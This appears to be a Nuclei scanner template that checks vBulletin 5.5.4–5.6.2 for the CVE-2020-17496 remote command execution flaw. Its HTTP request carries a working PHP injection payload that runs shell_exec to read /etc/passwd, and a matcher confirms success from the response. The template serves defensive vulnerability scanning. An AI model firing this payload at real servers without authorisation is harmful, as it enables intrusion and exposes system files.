id: CVE-2020-17496 info: name: vBulletin 5.5.4 - 5.6.2- Remote Command Execution author: pussycat0x severity: critical description: 'vBulletin versions 5.5.4 through 5.6.2 allow remote command execution via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete fix for CVE-2019-16759.' reference: - https://www.tenable.com/blog/zero-day-remote-code-execution-vulnerability-in-vbulletin-disclosed - https://nvd.nist.gov/vuln/detail/CVE-2020-17496 - https://seclists.org/fulldisclosure/2020/Aug/5 - https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4445227-vbulletin-5-6-0-5-6-1-5-6-2-security-patch classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-17496 cwe-id: CWE-74 tags: cve,cve2020,vbulletin,rce requests: - raw: - | POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # Enhanced by mp on 2022/04/27